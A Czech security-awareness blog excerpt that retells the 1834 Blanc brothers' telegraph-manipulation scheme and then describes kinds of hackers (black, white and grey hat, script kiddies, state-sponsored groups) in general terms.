Operátoři telegrafů nebyli asi nejlépe placení zaměstnanci ve Francii. Takže řešením by mohla být stará dobrá a osvědčená korupce.
Pokud by ale chtěli bratři Blancové posílat zprávy standardním způsobem, museli by podplatit všechny operátory po cestě z Paříže do Bordeaux. Což už by se mohlo prodražit.
Museli tedy přijít na to, jak tuto drahou nepříjemnost vyřešit.
Jak bylo zmíněno výše, systém obsahoval symbol pro vymazání posledního znaku – operátor zapisuje znaky tak, jak je vidí na semaforu a pokud uvidí symbol pro vymazání, prostě poslední znak smaže a pokračuje dál.
Právě toho se rozhodli hackeři využít. Budou posílat tajné zprávy tak, že po „jejich“ znaku vloženém do běžné armádní zprávy pošlou znak pro vymazání. Kdokoliv, kdo vidí semafor tento znak může vidět, ale operátor koncové věže ho z papíru vymaže (případně vůbec nenapíše). Tak bude zpráva předána a zároveň po ní nezůstane písemný důkaz.

Ponožky jako datový nosič

Bylo potřeba ještě vyřešit jeden problém. Po cestě z Paříže do Bordeaux byla ještě věž v Tours (přibližně 200 km od Paříže), kde byly zprávy dekódovány a přeposílány dál bez chyb. Takže zprávy musely být posílány odsud. A musely se do Tours dostat nějak nenápadně.
Naštěstí nebylo potřeba posílat nějaké rozsáhlé romány (to by při tomto scénáři ani nebylo možné), stačilo pár domluvených signálů. A tak byly do Tours z Paříže posílány poštovní balíčky, které obsahovaly oblečení. Druh oblečení (rukavice, ponožky, kravaty), který byl označen v průvodním dopise označoval, zda nějaký titul na burze klesá nebo roste a barva zase výši změny.

Hack

Hackování mohlo začít. Komplic v Paříži podle změn na burze poskládal oblečení do balíku a odeslal do Tours. Tam podplacený operátor telegrafu (dostal jednorázově 1500 franků za zapojení do konspirace, poté každý měsíc 150 franků a navíc ještě bonus 20 franků za každou předanou zprávu) odeslal zprávu s vloženými „chybami“.
U věže poblíž Bordeaux čekal další komplic s dalekohledem, sledoval telegraf a zapisoval znaky, které byly označeny jako chybné. A tím se dostaly zprávy k našim obchodníkům, kteří tak měli před ostatními několik dní náskok.

Odhalení

Systém perfektně fungoval dva roky. Odesláno bylo takto celkem 121 zpráv (a balíků s oblečením). Podezření kupodivu nevzbudilo ani náhlé zbohatnutí operátorů telegrafu (běžná denní mzda operátora činila 1,50 franku).
Pravda vyšla najevo až ve chvíli, kdy jeden z operátorů onemocněl a před smrtí se s celou záležitostí svěřil příteli.
Bratři Blancové ale překvapivě nenesli žádné následky. Francouzská legislativa jednoduše nezakazovala vkládání vlastních zpráv do telegrafního systému. Tehdejší zákonodárce to vůbec nenapadlo.
A tak se z nich později mohli stát úspěšní provozovatelé kasin (včetně kasina Monte Carlo v Monaku).

Jak je vidět už z prvního zdokumentovaného hackerského útoku, nejslabším článkem zabezpečení bývá člověk.

Zdroje:

https://fr.wikipedia.org/wiki/T%C3%A9l%C3%A9graphe_Chappe
https://en.wikipedia.org/wiki/Fran%C3%A7ois_Blanc
https://www.schneier.com/blog/archives/2018/05/1834_the_first_.html
https://gallica.bnf.fr/ark:/12148/bpt6k4393846/f1.item

The post O původu hackerů appeared first on DIGITÁLNÍ SEBEOBRANA.

Kdo jsou tedy ti obávaní hackeři, můžu je nějak poznat a co mají společného?

Hackeři pocházejí z různých prostředí, z různých částí světa a z různých sociálních vrstev. Nedá se obecně říct, že typický hacker je pětadvacetiletý běloch, závislý na kofeinu z energy drinků, který si nerozumí se svými vrstevníky a veškerý svůj volný čas tráví v tmavém sklepě obklopen počítači.
Co ale má většina hackerů společného je schopnost používat věci jiným způsobem, než jak bylo zamýšleno a obcházet překážky. Ať jde o fyzické, technologické nebo psychologické.
Na začátku bývá zvědavost. Jak funguje svět okolo nás, jak fungují různé nástroje a jak funguje lidská mysl. A jestli má daný předmět zájmu ve svém designu nějaké slabiny, které se dají využít nebo zneužít (to je často spíše subjektivní hodnocení).

Otevíráme zámek

Když chcete otevřít klasický zámek, je dobré nejdříve vědět, jak funguje jeho mechanismus. Poté můžete použít nástroje a techniky, jak ho otevřít bez klíče. Nebo prostě použijete trhavinu. To sice může být efektní, ale má to několik menších nevýhod. Někdo si toho může všimnout a mít zvláštní otázky jako jestli jsou ty dveře vaše, proč si normálně neodemknete a kde jste vzali tu nezdaněnou výbušninu. Někdy se může hodit i to, aby majitel zámku ani v budoucnu nezjistil, že byl odemčen (po použití výbušniny se celkem špatně zamyká). No a také se může stát, že výbuchem zničíte to, co je za tím zámkem a kvůli čemu to vlastně celé děláte. Nemluvě o tom, že při neopatrném zacházení se může radikálně snížit počet vašich oblíbených končetin.
Proto je celkem výhodné vědět, že v zámku je mechanismus, který se dá otevřít poměrně rychle, tiše a bez dalších následků. Proto hackeři obvykle velmi dobře znají systémy, na které útočí. Jak si ukážeme později, neznamená to, že hacker musí být počítačový génius. Skoro v každé oblasti se dá najít prostor pro hackery.
Hacking totiž není jen to, že se dostáváme někam, kam bychom se dostat neměli. Může jít i o schopnost používat věci jinak. Např. v poslední době oblíbený biohacking není o tom, že se vkrademe do (nejlépe) vlastního těla a něco si tam vezmeme. Spíše se snažíme vylepšit procesy, které se tam dějí.
Já se budu držet popisu hackerství v tom nejznámějším IT sektoru, ale v podstatě cokoliv se dá nějakým způsobem aplikovat i jinde.

Hackeři, móda a stát

Protože svět potřebuje škatulky, začali se i hackeři dělit na skupiny: black hat, white hat a grey hat. Toto označení bylo převzato z Hollywoodských westernů dvacátých let 20. století, kde byla nepsaná konvence, že hrdinové nosí bílé a padouši černé klobouky. Aspoň to tedy tak píší na Wikipedii.

Black hat hackeři jsou ekvivalent záporných hrdinů divokého západu. Využívají své znalosti ke svému obohacení případně k poškození své oběti. Black Hat hacker se nabourá do vašeho bankovního účtu a sebere peníze, nainstaluje do vašeho počítače program pro sledování webkamery nebo shodí webové stránky vaší firmy.

Zvláštní podskupinou black hat hackerů jsou státem organizovaní hackeři. Většinou jsou to zaměstnanci nebo kontraktoři tajných služeb nebo armády, kteří mají za úkol cyber útoky na cíle mimo území daného státu. Oproti samostatným hackerům mají velkou výhodu v tom, že mají přístup k nejlepší technice či dalším zdrojům a můžou si tak dovolit útoky, které jsou pro ostatní nedostupné. Toto téma si ale zaslouží vlastní článek. Tak o tom víc někdy příště.

White hat hacker se do webových stránek vaší firmy nabourá také. Ale je tu jeden podstatný rozdíl. On to udělá jen s vaším souhlasem. Proto se jim také říká etičtí hackeři. Proč byste ten souhlas dávali? Právě proto, že chcete vědět, jestli je vaše firma proti takovému útoku zabezpečena. Pokud se white hat hackerovi takový průnik podaří, nic zlého vám neprovede. Naopak, dostanete od něj přesný popis toho, co je potřeba opravit, aby se tam nikdo jiný už nedostal. A vy mu za to zaplatíte. Takovému hackingu se říká penetrační testování. White hat hackeři často zakládají firmy, které pomáhají svým zákazníkům zvyšovat bezpečnost jejich systémů.

Grey Hat hacker – často se tvrdí, že jsou něco mezi. Málokde se ale dozvíte, co to znamená být něco mezi. Může být někdo jenom trochu zloděj? Spíše je to tak, že je ta hranice mezi white hat a black hat nejasná. Hacker se sice tváří jako white hat, ale existuje podezření, že svoje znalosti a um používá i neeticky. Případně útočí na firmy, organizace nebo třeba státy bez jejich souhlasu a vědomí, ale vedou ho k tomu (někdy subjektivně) dobré důvody. Může to být ekologický aktivista, bojovník za lidská práva nebo třeba náboženský fanatik.

Legálnost versus etičnost

Zároveň je potřeba rozlišovat mezi legalitou a etikou. Zákony jsou různé v různých částech světa. Například zde v Evropě platí téměř každých 500km jiná pravidla. Co je legální v Praze, může být trestné ve Vídni. A protože Internet hranice nemá, je to pro posuzování ještě složitější. V zemích, jako je třeba Severní Korea je například ve většině případů ilegální jakékoliv použití počítače. Proto není možné posuzovat hackery podle lokálního národního práva. Zvláště v době, kdy národní státy začínají ztrácet smysl.

Střelci naslepo a nestátní armády

Existuje ještě jedna skupina. Nejsou to hackeři v pravém slova smyslu. Spíše rádoby hackeři. Vžilo se pro ně označení „Script kiddies“. Dnes je totiž na Internetu velké množství hackerských nástrojů, které jsou volně ke stažení. A vypadat před kámošem jako hacker může být lákavé. Stáhnout nějaký prográmek, stisknout pomyslné tlačítko „Hackni to!“ není složité. Útočník ale většinou nic nezíská. Protože i s těmito nástroji je potřeba pracovat cíleně a s přesným nastavením. Na druhou stranu, i když nic nezíská, může přeci jen napáchat nějaké škody (poškodit databázi, smazat důležité soubory, zahltit síť atd.). Proto je důležité chránit systémy i před takovýmito amatérskými útoky.

V cyber světě můžeme najít i nestátní organizované hackerské skupiny. Jsou to vlastně takové malé armády hackerů, kteří mají nějaký společný cíl a kterého se snaží dosáhnout spojením svých sil. Neznamená to ale nutně, že se tyto skupiny scházejí někde na tajných místech a odtud provádějí své útoky (etické či neetické). Jednotlivý členové se mezi sebou často osobně vůbec neznají. Můžou být rozeseti po celém světě, operují pod přezdívkami a vše, co o sobě navzájem potřebují vědět jsou jejich schopnosti. To mj. zajišťuje i jejich fyzickou bezpečnost. Když je nějaký člen skupiny odhalen, nemůže o svých kolezích prozradit nic důležitého.

Chci se stát hackerem

Častá otázka je, jak se člověk může stát hackerem. Odpověď na ni není jednoduchá a rozhodně ne univerzální. Hackerství je o každodenním učení a prohlubování svých znalostí. V podstatě každý, kdo je expertem ve svém oboru a má touhu se dál zlepšovat a pronikat do každého detailu, se může stát hackerem. Neexistuje ani jasná hranice, kdy o sobě (nebo o někom jiném) můžeme říci, že je hacker. Existují sice různé kurzy a certifikáty, ale ani to není nutná podmínka. Certifikát z vás nutně hackera neudělá, pokud se tomu dál nevěnujete a na druhou stranu jeho absence (stojí to čas a peníze) neznamená, že hackerem nejste.

No a jak tedy otevřu ten zámek?

Není to těžké a po natrénování to může jít poměrně rychle. Toto je ovšem jen taková základní technika, víceméně je to svým způsobem sport (ano, pořádají se v tom soutěže). Profesionální zloději ji téměř nevyužívají.

Návod naleznete ve videu, jak ubránit vaše digitální zámky vám řeknu já

The post Hackeři – proti komu se bráníme? appeared first on DIGITÁLNÍ SEBEOBRANA.